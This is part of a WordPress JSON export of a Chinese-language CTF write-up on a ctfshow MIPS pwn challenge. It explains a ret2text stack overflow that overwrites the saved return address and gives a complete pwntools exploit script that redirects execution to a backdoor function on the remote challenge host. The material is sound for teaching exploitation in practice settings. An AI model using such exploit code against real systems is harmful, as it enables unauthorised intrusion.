![\"\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\n
\u6253\u6cd5\u5f88\u7b80\u5355\uff0c\u6ea2\u51fa\u8986\u76d6\u8fd4\u56de\u5730\u5740\u5373\u53ef\u3002\u7531\u4e8e\u662f\u5f02\u67b6\u6784\uff0c\u4fa7\u91cd\u70b9\u5728\u4e8e\u5b66\u4e60\u5206\u6790\u4e00\u4e0b\u6c47\u7f16\u4ee3\u7801\u3002<\/p>\n\n\n\n
ctfshow\u51fd\u6570\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
v1\u53d8\u91cf\u53600x18\uff0c\u7d27\u63a5\u7740\u662f$fp\uff08\u5373x86\u7684ebp\uff09\uff0c\u7136\u540e\u5c31\u662f\u8fd4\u56de\u5730\u5740$ra\uff0c\u6240\u4ee5payload\u662f\uff1a<\/p>\n\n\n\n
payload = b'A' * 24 # \u586b\u5145\u5230fp\npayload += p32(1) # \u586b\u5145fp\npayload += p32(backdoor) # \u586b\u5145ra<\/code><\/pre>\n\n\n\n\u4e3a\u4ec0\u4e48\u6ca1\u7528sleep\uff1f\u56e0\u4e3a\u8fd9\u662fret2text\uff0c\u6ca1\u7528\u5230shellcode<\/p>\n\n\n\n
\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n
from pwn import *\n\ncontext(arch='mips', endian='little', os='linux')\n\n# \u76ee\u6807\u7a0b\u5e8f\n#p = process('\/home\/monke\/Desktop\/MIPS_PWN\/pwn1') # \u672c\u5730\u6d4b\u8bd5\np = remote('wn.challenge.ctf.show', 28302) # \u8fdc\u7a0b\u653b\u51fb\n\n# \u5173\u952e\u5730\u5740\nbackdoor = 0x4005dc\n\n\n# \u6784\u9020 payload\npayload = b'A' * 24 # \u586b\u5145\u5230fp\npayload += p32(1) # \u586b\u5145fp\npayload += p32(backdoor) # \u586b\u5145ra\n#gdb.attach(p)\n# \u53d1\u9001 payload\np.sendlineafter(b\"Please enter your input: \", payload)\np.interactive()\n<\/code><\/pre>\n\n\n\n\u6253\u901a\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
\u53c2\u8003\u6587\u7ae0\uff1a https:\/\/blog.itewqq.cn\/mips-pwn-tutorial\/ https:\/ […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[26],"class_list":["post-1039","post","type-post","status-publish","format-standard","hentry","category-13","tag-26"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/1039","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=1039"}],"version-history":[{"count":6,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/1039\/revisions"}],"predecessor-version":[{"id":1055,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/1039\/revisions\/1055"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=1039"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=1039"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=1039"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}